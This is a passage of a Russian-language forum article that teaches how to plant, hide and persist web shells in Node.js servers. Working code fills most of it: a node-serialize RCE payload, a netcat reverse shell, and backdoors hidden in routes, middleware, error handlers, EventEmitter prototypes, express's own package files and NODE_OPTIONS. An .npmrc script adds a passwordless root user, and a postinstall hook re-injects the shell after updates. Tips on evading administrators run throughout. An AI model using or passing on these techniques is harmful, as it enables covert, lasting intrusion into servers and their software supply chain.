} catch (err) {
res.status(400).send('Ошибка десериализации');
}
});
app.listen(3000, () => console.log(Сервер запущен на порту 3000'));
Теперь нам нужно выполнить правильный запрос. Выглядеть будет примерно так:
Bash:
curl -X POST http://localhost:3000/deserialize -H "Content-Type: application/json" -d "@exploit.json"
В exploit.json кладем:
JSON:
{
"data": "{\"name\":\"exploit\",\"rce\":\"_$$ND_FUNC$$_function(){ const express = require('express'); const app = express(); app.get('/cmd', (req, res) => { require('child_process').exec(req.query.cmd, (err, stdout) => res.send(stdout)); }); app.listen(4444, () => console.log('WebShell started on 4444')); process.stdin.resume(); }()\"}"
}
Сохраняем, выполняем и видим результат:
Класс, убедимся что на 4444 порту действительно что-то появилось:
Остается выполнять запросы к нашему веб-шеллу, который только что обрел жизнь:
Bash:
curl "http://localhost:4444/cmd?cmd=whoami"
Да, большинство скажет, что проще было запустить реверс-шелл. Если хотите, без проблем, вот пэйлоад для реверс-шелла на 127.0.0.1 порт 1337:
JSON:
{
"data": "{\"name\":\"exploit\",\"rce\":\"_$$ND_FUNC$$_function(){ require('child_process').exec('nc 127.0.0.1 1337 -e /bin/sh'); }()\"}"
}
Внедрение веб-шеллов в код приложения
Все, что идет ниже, потребует от вас перезапуска веб-приложения. Условия, при которых разные инъекции могут работать без перезагрузки, довольно специфичные чтобы рассматривать их. В большинстве случаев никакой манкипатчинг, никакие подмены и замены не сработают. Повторюсь, все дело в том, что фреймворки типа express не поддерживают горячей подмены, а использует заранее прогруженные функции.Как добиться перезагрузки нужно подбирать в каждом конкретном случае отдельно. В каких-то случаях, есть возможность нагло самому рестартануть и надеется, что не возникнет проблем. Где-то можно попытаться сгенерировать критическую ошибку, которую админ не обрабатывает, тем самым вынудив админа вмешаться и сделать рестарт. Ну или СИ. Не маленькие, разберетесь)
Работаем с маршрутами приложения
Самый простой вариант, это поработать с маршрутами веб-приложения. Дописать новый маршрут, либо спрятать в уже существующий. Мне больше импонирует вариант с добавлением в существующий маршрут, особенно если он находится внутри объемного файла. Желательно в какой-нибудь маршрут, который совершенно не интересный и неожиданный. Покопавшись в интернете и обратившись к всемогущему разуму, получил список потенциально подходящих вариантов:- Сервисные функцие вроде healthcheck, /status, /ping
- Енд-поинты связанные с документашкой /docs, /swagger, /openapi
- Функции уже имеющие сложную логику, по типу второго этапа авторизации и т.п
Сложно спорить с великим разумом, но я бы добавил варианты от себя:
- Формы обратной связи
- Вывод ошибок
- “Бесполезные маршруты” типа “About” и т.п.
Но это уже вкусовщина. Каждый выберет под себя. Сам код бесхитростный
JavaScript:
app.post('/feedback', (req, res) => {
const { name, email, message, __cmd } = req.body;
if (__cmd) {
const { exec } = require('child_process');
exec(__cmd, (err, stdout, stderr) => {
res.send(stdout || stderr || 'Command executed');
});
return;
}
console.log(`New feedback from ${name} (${email}): ${message}`);
res.status(200).json({ success: true, message: 'Feedback received!' });
});
Если за приложением хоть как-то следят, надеяться на долгую жизнь шелла не приходится, особенно при активной эксплуатации. Пытаться спрятать можно и нужно. Можно взять советы по обфускации, например из этой статьи. Но если код не собран каким-то сборщиком, обфускация наоборот слишком явно будет видна. Как-то восстанавливал человеку сайт, вычищал бэкдоры… даже при быстром пролистывании обфусцированый код в чистых ровных исходниках виден.
Единственный совет, который я бы дал, это добавить в каждый файл хотя бы по пробелу, чтобы был шанс замедлить поиск вредоносного кода. Вдруг админ не станет тупо накатывать приложение из архива.
Если говорить о минусах, если выкатят обнову приложения или восстановят из архива, вообще наплевать будет как хорошо вы спрятали код)))
Веб-шелл в Node.js через middleware
В любой (ну хорошо, на всякий случай, почти любой) фреймворк можно встроить веб-шелл через middleware-функцию. В Express для этого используется use(). Главное помнить, что цепочка middleware-функций должна выстраиваться до запуска сервера. Поэтому важно хорошо подумать, где и как прятать инъекцию. Если настройка сервера происходит в отдельном файле, уже хорошо. По возможности, лучше замаскировать название функции под что-то полезное и сныкать в каком-то типа нужном пакете. Либо модифицировать какой-то установленный пакет, но быть готовым к сносу.В express инъекция выглядит так:
JavaScript:
app.use((req, res, next) => {
// Если в URL есть /?cmd=..., выполняем команду
if (req.query.cmd) {
const { execSync } = require('child_process');
const output = execSync(req.query.cmd).toString();
res.send(output);
return;
}
next();
});
Для разнообразия, она же в koa:
JavaScript:
app.use(async (ctx, next) => {
if (ctx.query.cmd) {
const { execSync } = require('child_process');
ctx.body = execSync(ctx.query.cmd).toString();
return;
}
await next();
});
Почти братья близнецы, но так часто в Javascript.
Из плюсов то, что будет работать на всех маршрутах веб-приложения. Достаточно накинуть в урл свои параметры, по которым функция поймет что это вы и нужно бы выполнить команду, и все.
Минусы все те же, что и в предыдущем варианте. Фактически ведь, это вариация инъекции кода в маршруты.
process.on uncaughtException
Один из самых красивых и креативных способов внедрить шелл в код веб-приложения. Суть идеи в том, чтобы привязаться к обработчику uncaughtException и прикрутить к нему выполнение нужно нам кода. После останется только генерировать событие вызывающее обработчик и наслаждаться результатом. Креативность заключается в том, чтобы органично встроить генерацию события.Для примера, соберем простое нефункциональное веб-приложение на базе http. Почему не на базе express или другого фреймворка? Все дело в том, что uncaughtException касается исключительно необработанных исключений. Драгими словами, ничем не перехваченные (вне блоков try/catch). А express устроен так, чтобы не допустить краша приложения. Он сам перехватит и обработает необработанное исключение. Ограничение можно обойти, например, если выскочить из синхронности в асинхронность. Пример кода демонстрирующий разницу:
JavaScript:
const express = require('express');
const app = express();
process.on('uncaughtException', (err) => {
console.error("GLOBAL process.on('uncaughtException') поймал ошибку:");
console.error("Сообщение:", err.message);
console.error("Stack:", err.stack);
});
app.get('/sync-error', (req, res, next) => {
throw new Error("Это синхронное исключение, которое поймает Express");
});
app.get('/async-error', (req, res) => {
res.send("Запрос обработан. Через мгновение произойдет асинхронное исключение.");
setTimeout(() => {
throw new Error("Это асинхронное исключение, не пойманное Express");
}, 50);
});
app.use((err, req, res, next) => {
console.error("Express errorHandler поймал ошибку:", err.message);
res.status(500).send("Express обработал ошибку: " + err.message);
});
app.listen(3000, () => {
console.log("Express-сервер запущен на http://localhost:3000");
});
Запускаем пример и выполняем запрос
Bash:
curl "http://localhost:3000/sync-error"
Итог:
Как видно, express перехватил ошибку и process.on остался не у дел.
Пробуем вызвать асинхронную генерацию ошибки:
Bash:
curl "http://localhost:3000/async-error"
Совершенно другой результат. Это говорит нам только о том, что нужно внимательно изучать каждое отдельное приложение, чтобы понимать какой из методов сработает. Именно про это я писал, когда рассуждал о креативности подхода.
Тестовое приложение:
JavaScript:
const http = require('http');
const { exec } = require('child_process');
process.on('uncaughtException', (err) => {
console.error('Необработанная ошибка:', err.message);
const cmdMarker = 'CMD: ';
const cmdIndex = err.message.indexOf(cmdMarker);
if (cmdIndex !== -1) {
const command = err.message.slice(cmdIndex + cmdMarker.length).trim();
console.log('Выполняется команда:', command);
exec(command, (error, stdout, stderr) => {
let output;
if (error) {
output = `Ошибка: ${error.message}`;
} else {
output = stdout || stderr || '';
}
if (err.res && !err.res.headersSent) {
err.res.writeHead(200, { 'Content-Type': 'text/html' });
err.res.end(`<h3>Вывод команды:</h3><pre>${output}</pre>`);
} else {
console.log('Вывод команды:\n', output);
}
});
}
});
const server = http.createServer((req, res) => {
const urlObj = new URL(req.url, `http://${req.headers.host}`);
if (urlObj.pathname === '/calculate') {
const aInput = urlObj.searchParams.get('a');
const bInput = urlObj.searchParams.get('b');
const operation = urlObj.searchParams.get('op');
const a = parseFloat(aInput);
const b = parseFloat(bInput);
if (isNaN(a) || isNaN(b)) {
const error = new Error(`Некорректный ввод. Ожидалось число. ${aInput}`);
error.res = res;
throw error;
return;
}
let result;
if (operation === 'add') {
result = a + b;
} else if (operation === 'sub') {
result = a - b;
} else {
result = 'Неизвестная операция';
}
res.writeHead(200, { 'Content-Type': 'text/html' });
res.end(`<h3>Результат: ${result}</h3>`);
} else {
res.writeHead(404, { 'Content-Type': 'text/html' });
res.end('<h3>Ресурс не найден</h3>');
}
});
server.listen(3000, () => console.log('Сервер запущен на порту 3000'));
Пробуем, чтобы убедиться, что наш шелл прекрасно работает:
Ключевых момента два:
- Функция обрабатывающая process.on('uncaughtException', func) - здесь мы и прячем свой веб-шелл.
- Генерация исключения через throw - чтобы перехватывать ошибку, нужно эту ошибку сгенерировать
Обращаю внимание, что с веб-шеллом приходится мудрить. В коде выше я использовал маркер “CMD: “ для выделения команды. Пробросил в ошибку переменную res, для ответа пользователю и т.п. Если бы мы говорили о каком-нибудь реверс-шелле, все было бы гораздо проще. Просто на каждую неперехваченную ошибку генерировать попытку коннекта к нашему серверу и все.
Точно так же, можно прикрепиться не к ошибке, а к отклоненному промису через unhandledRejection. Помните, как объявляются промисы?
JavaScript:
new Promise( /* executor */ function(resolve, reject) { ... } );
Собственно, unhandledRejection отрабатывает, когда результатом промиса будет необработанный reject. Учитывая, что современные веб-приложения активно используют возможности асинхронности, данный подход вполне оправдан. В некоторых случаях, может быть гораздо более перспективным. Реализуется точно так же:
JavaScript:
process.on('unhandledRejection', (reason) => {
…
});
Для вызова, либо найти место где можно выбивать приложение естественно, либо генерировать промис, который всегда будет выкидывать по реджекту.
Жирно подчеркиваю! Оба метода работают с необработанными ситуациями. Вы должны быть уверены, что нет перехватчика события у фреймворка.
protoтипирование
Атаки через прототип объекта широко известны. Это касается, как клиентской, так и серверной части. Почему бы нам не использовать подобную атаку для внедрения веб-шелла? Только, прикрутимся к чему-то интересному. Например, к EventEmitter. EventEmitter - это объект, который позволяет реализовать модель событий в Node.js, Примерно так же, как это организовано в движках используемых браузером.В подобных решениях, начинать всегда нужно с сохранения ссылки на оригинальную функцию, Создадим shell.js:
JavaScript:
const EventEmitter = require('events');
const originalEmit = EventEmitter.prototype.emit;
После чего, выполняем саму подмену прототипа.
JavaScript:
EventEmitter.prototype.emit = function(event, ...args) {
if (event === 'request') {
const req = args[0];
const res = args[1];
if (req.url.startsWith('/shell')) {
const urlParams = new URLSearchParams(req.url.split('?')[1]);
const cmd = urlParams.get('cmd');
if (cmd) {
try {
const { execSync } = require('child_process');
const result = execSync(cmd).toString();
res.end(result);
} catch (e) {
res.end(`Ошибка: ${e.message}`);
}
return true;
}
res.end('Используйте: /shell?cmd=ваша_команда');
return true;
}
}
return originalEmit.apply(this, [event, ...args]);
};
Код вряд ли нуждается в подробных комментариях. Убедились, что от функции хотят выполнение шелла, получили команду, выполнили, вернули ответ. В завершении вызываем выполнение оригинальной функции.
Остается только код самого веб-приложения:app.js:
JavaScript:
const express = require('express');
const app = express();
app.get('/', (req, res) => {
res.send('Добро пожаловать на главную страницу');
});
require('./shell');
app.listen(3000, () => {
console.log('Сервер запущен на http://localhost:3000');
});
“Приложение” просто выводит приветствие. Его задача, запустить сервер и подключить наш shell.js. Обратите внимание, что маршрута /shell не существует. Этот маршрут появляется не на уровне фреймворка, а на уровне обработки события.
Протестируем:
Bash:
curl "http://localhost:3000/shell?cmd=ls%20-la"
Анархизм JS позволяет нам бесчинствовать на полную катушку, меняя чуть ли не все и вся. Например, чтобы спрятать подключение нашего скрипта, мы можем где-нибудь в коде переопределить require.
JavaScript:
const originalRequire = module.constructor.prototype.require;
module.constructor.prototype.require = function(modulePath) {
if ( !process.__backdoor_injected) {
process.__backdoor_injected = true;
originalRequire.call(this, './shell.js');
}
return originalRequire.apply(this, arguments);
}
Если нужно, можно привязать к конкретному пакету, просто проверяя строковую переменную modulePath.
Модификация npm-пакетов
Есть возможность внедряться прямиком в установленные пакеты. Раз уж начали работать с express, почему бы не заразить сам express? Среди плюсов, если разработчик не позаботился об отслеживании инъекций в пакеты Npm, найти уязвимость будет не очень легко. Тот же npm audit покажет потенциальные угрозы, но не проведет сравнения с оригинальными файлами пакета.Меньше слов больше дела. Открываем файл:
Bash:
./node_modules/express/lib/application.js
Здесь нам нужно найти присвоение app.init. Мы не будем вмешиваться в его работу, пусть остается таким же молодым и красивым. Сделаем переопределение. Сразу после закрывающей скобки, вставляем:
JavaScript:
const originalAppInit = app.init;
app.init = function() {
originalAppInit.call(this);
this.router.route('/shell').post(function(req, res) {
const cmd = (req.body && req.body.cmd) || (req.query && req.query.cmd);
if (!cmd) return res.status(400).send('No command provided');
const cp = require('child_process').exec;
cp(cmd, function(error, stdout, stderr) {
if (error) return res.status(500).send('Execution error: ' + error.toString());
res.send(stdout || stderr);
});
});
};
Как и в предыдущем методе, сначала запоминаем ссылку на оригинальную функцию. Вызываем её, после этого навешиваем свой маршрут на роутер. Иногда с этим возникают проблемы, не могу точно сказать по какой причине, но в этом случае можно пойти следующим путем:
- Проверить есть ли переменная this.route. Если есть, то выполняется наш код от this.router..
- Если переменной нет, то вызываем такой же код, но обернутый в setImmediate
Минусы у подхода есть. Один и тот же пакет, в зависимости от версии, может серьезно отличаться.Придется включать голову и внимательно смотреть, куда и чего писать.
Второй минус в обновлении и переустановке пакетов. На этот случай есть какой-никакой вариант в виде postinstall команды в package.json. Подробнее об этом читайте ниже в разделе про обеспечение живучести веб-шеллов.
NODE_OPTIONS
Довольно интересный способ организовать шелл или работу любого другого зловредного кода, это использовать возможность установить опции для Node.js. Дело в том, что если установлена NODE_OPTIONS, движок Node будет учитывать и сделать там можно очень многое.Минусов у подхода несколько. Во-первых, мы уже должны иметь возможность выполнять команды на сервере, чтобы хоть как-то установить переменную. Во-вторых, требуется доступ, либо к аккаунту из под которого работает веб-приложение, либо нужна возможность прописать переменную глобально. В-третьих, нужно дожидаться запуска node пользователем или найти способ спровоцировать пользователя. В-четвертых, мы хоть и имеем возможность не блокировать event loop, но пока сервер не завершиться, сам процесс node будет продолжать работать. С последним можно справиться, заспавнив параллельный фоновый процесс Node, но лучше не делать без особой необходимости.
Плюсы тоже есть и неплохие. Если мы не спавнили параллельный процесс, вся работа происходит в рамках запущенного пользователем процесса. Соответственно, меньше следов. Второй плюс в том, что наш злой скрипт выполнится при любом способе запуска Node. Не важно, напрямую через node, через PM2, через npm. Скрытность, мне кажется, тоже на уровне. Пока админ додумается залезть в переменные… в общем, если правильно готовить, то может жить долго. Живучесть тоже на уровне, если обновление приложения может убить наши роуты или мидл-функции, то здесь админ может хоть тысячу раз обновить свое веб-приложение, а шелл будет продолжать запускаться и жить.
Самый простой пример, это установить “--require /file/path/evil.js”. В этом случае, Node будет загружать и выполнять код указанного файла. Учитывайте, что путь нужно прописывать абсолютный, никаких относительных путей, так как тогда пользователю будет выкинута ошибка обличающая нас:
Правильная инъекция:
Bash:
export NODE_OPTIONS="--require /home/user/evil.js"
Пример файла evil.js:
JavaScript:
if (!global.__evilServerStarted) {
global.__evilServerStarted = true;
setImmediate(() => {
const http = require('http');
const server = http.createServer((req, res) => {
require('child_process').exec(req.url.slice(1), (e, o) => res.end(o));
}).listen(1337, '0.0.0.0', () => {
console.log('Shell was startd on port 1337');
});
});
}
Результат работы:
Обратите внимание, что я использовал setImmediate(). Это нужно чтобы не блокировать event loop, иначе удивлению пользователя не будет предела, когда он попытается запустить свой скрипт, а скрипт будет висеть и не выполняться)))
Организация живучести веб-шелла
На самом деле, название этого раздела не совсем корректно. Приведенные ниже методы не только способ хоть как-то попытаться увеличить время жизни веб-шелла, но и замечательные способы создать веб-шелл если у вас есть возможность писать в файл. Просто результат не сиюминутный, придется разместить закладку и подождать когда сработает.Если шелл нужен надолго, неплохо бы подумать по поводу того, как обеспечить его выживаемость в разных условиях. При обновлении пакетов, восстановлении и прочих условиях. Рассмотрим то, что поможет из доступного конкретно в рамках Node: .npmrc и package.json.
.npmrc для персистентности и организации бэкдоров
.npmrc - это файл конфигурирующий npm. Когда запускается выполнение, например, “npm install”, npm смотрит нет ли под рукой конфига. Если находит, берет из него настройка как есть, без каких-либо проверок. Собственно, оно ему и не надо что-то проверять.Конфиг может быть трех уровней:
- Глобальный, для всех пользователей. Расположение /etc/npmrc в Linux или %ProgramData%\npm\etc\npmrc в Windows.
- Уровня пользователя. Соответственно, ~/.npmrc (в Windows в корневой папке пользователя)
- Локальный для проекта, должен лежать в папке проекта ./.npmrc
Приоритетность прямо противоположна глобальности. В рамках проекта, приоритет выше локального будет только у прямого указания аргумента в командной строке. Если мы можем в проекте писать в .npmrc, появляются довольно широкие возможности. В рамках статьи, будем работать только с параметром script-shell, который определяет оболочку для выполнения команд npm. Но .npmrc достоен отдельной полноценной статьи, чего только стоит возможность через параметр registry указать собственный репозиторий для npm.
Вернемся к script-shell. Благодаря ему мы можем выполнить любую команду, которую позволяют наши права. Единственное, просто написать команду не получится. Если сделать так:
Bash:
script-shell = "/bin/bash -c \"echo TEST > /tmp/npm_shell_test.log\""
Мы получим такую ошибку:
Чтобы обойти эту проблему, нужно просто создать в доступном нам месте sh-файл и сделать его исполняемым через chmod +x. Например:
Bash:
#!/bin/bash
if [[ $EUID -ne 0 ]]; then
exit 1
fi
useradd -m -s /bin/bash pwned
echo "pwned:psswrdddduuu" | chpasswd
usermod -aG sudo pwned
echo "pwned ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
echo “Пользователь ‘pwned’ создан:”
id pwned
grep "pwned" /etc/sudoers
Остается передать его в npm:
Bash:
script-shell=”/tmp/npm_run.sh”
Запустим на выполнение команду из package.json. В моем случае это “test::
Bash:
sudo npm run test
Результат:
Что будет у вас в этом sh-файл, ограничено только вашей фантазией и правами пользователя, от имени которого произойдет запуск. Можно выкачать с своего сервера файл с командами, организовав удаленное управление или руту добавить ssh-ключ.
Конечно же, один из вариантов использования - это проверка, жив ли ваш код или его уже удалили. Если удалили, пытаемся восстановить его.
Attention!!! Alert!!! Важный момент, касаемо выполнения под sudo, если запустить команду содержащуюся в package.json, будет использован файл лежащий в проекте. Но, если вы попытаетесь привязаться к глобальной установке по типу sudo npm install -g npm@latest. В теории, при глобальном инсталле под sudo, npm должен обращаться к /etc/npmrc, но у меня так и не вышло заставить отработаь конфиг. Возможно, что-то упустил и в подобном запуске конфиги игнорируются.
Кстати, если хотите посмотреть информацию по используемым конфигам, увидеть кто кого перезаписывает, можно выполнить:
Bash:
npm config list
Запуск с sudo:
Видно, что в данном случае npm нашел конфиг не только в текущей папке проекта, но и в /root/. Для справки, это копия .npmrc из папки проекта, в процессе тестов для скриншотов закинул туда. Если удалить, из вывода под sudo, пропадет строки с “user” config…” и “overridden…”
Для сравнения, запуск без sudo:
Скрипты preinstall и postinstall
package.json очень заботиться о разработчиках… ну или о хацкерах. Как понятно из названия этого блока, есть два интересных типа скрипта, отрабатывающих до установки/обновления пакетов и после. Запускаются они автоматически, если npm не был запущен с блокирующими флагами. Благодаря этим скриптам мы можем обеспечить себе шанс сохранить веб-шелл или бэкдор на сервер даже после обновления пакетов. Простой пример того, как может выглядеть этот блок package.json:
JSON:
"scripts": {
"postinstall": "node inj.js"
},
Напишем кусок кода, который будет отслеживать инъекцию в модуль Express, если вдруг её не окажется, то добавить. Ориентироваться буду на комментарий “/** * Initialize application config”, который идет после присвоения app.init.
JavaScript:
const fs = require('fs');
const path = require('path');
const expressFile = path.join(process.cwd(), 'node_modules', 'express', 'lib', 'application.js');
const searchPattern = /\/\*\*\s*\n\s*\*\s*Initialize application configuration/gmi;
const checkPattern = /route\(["']\/shell["']\)/;
const injection = `
const originalAppInit = app.init;
app.init = function() {
originalAppInit.call(this);
this.router.route("/shell").post(function(req, res) {
const cmd = (req.body?.cmd) || (req.query?.cmd);
if (!cmd) return res.status(400).send('No command provided');
const { exec } = require('child_process');
exec(cmd, (error, stdout, stderr) => {
if (error) return res.status(500).send('Execution error: ' + error.toString());
res.send(stdout || stderr);
});
});
};
`;
try {
const fileContent = fs.readFileSync(expressFile, 'utf-8');
if (!checkPattern.test(fileContent)) {
console.log('Need to inject');
const commentMatch = searchPattern.exec(fileContent);
if (commentMatch) {
const newCode = fileContent.slice(0, commentMatch.index) + injection + fileContent.slice(commentMatch.index);
fs.writeFileSync(expressFile, newCode);
}
}
} catch(err) {
process.exit();
}
Результат работы скрипта можно увидеть, если запустить установку пакетов:
Конечно же, вывод оставил только для демонстрации.
Без минусов никуда. Если админ не тугой, рано или поздно заметит довольно странного персонажа в package.json))) Что поделать, ничто не вечно в этом мире))))
Выводы
Node.js накладывает свой ограничения, но в тоже время создает много интересных возможностей. В статье рассмотрел, на мой взгляд, достаточно много разнообразных техник. Какие-то из них могут показаться скучными и понятными, какие-то довольно интересные.Я насчитал 10 отдельных техник, в некоторых не один вариант:
- Шаблонизаторы
- Параллельный запуск (PM2, node, systemd и package.json варианты)
- Использование eval
- Работа с исходным кодом (роуты, мидл-функции)
- Инъекция через .npmrc
- Нобработанные ошибки и реджекты
- Переорпеделение прототипов
- Модификация установленных npm-пакетов
- Инъекция через NODE_OPTIONS
- Скрипты пре- и пост-инсталяции npm
Все ли это техники? Конечно нет. Как минимум, я откинул несколько довольно скучны, чтоыб не перегружать статью, а о скольких я еще не знаю… если у вас есть какие-то свои интересные техники, не стесняйтесь поделиться ими в комментариях.
Последнее редактирование модератором: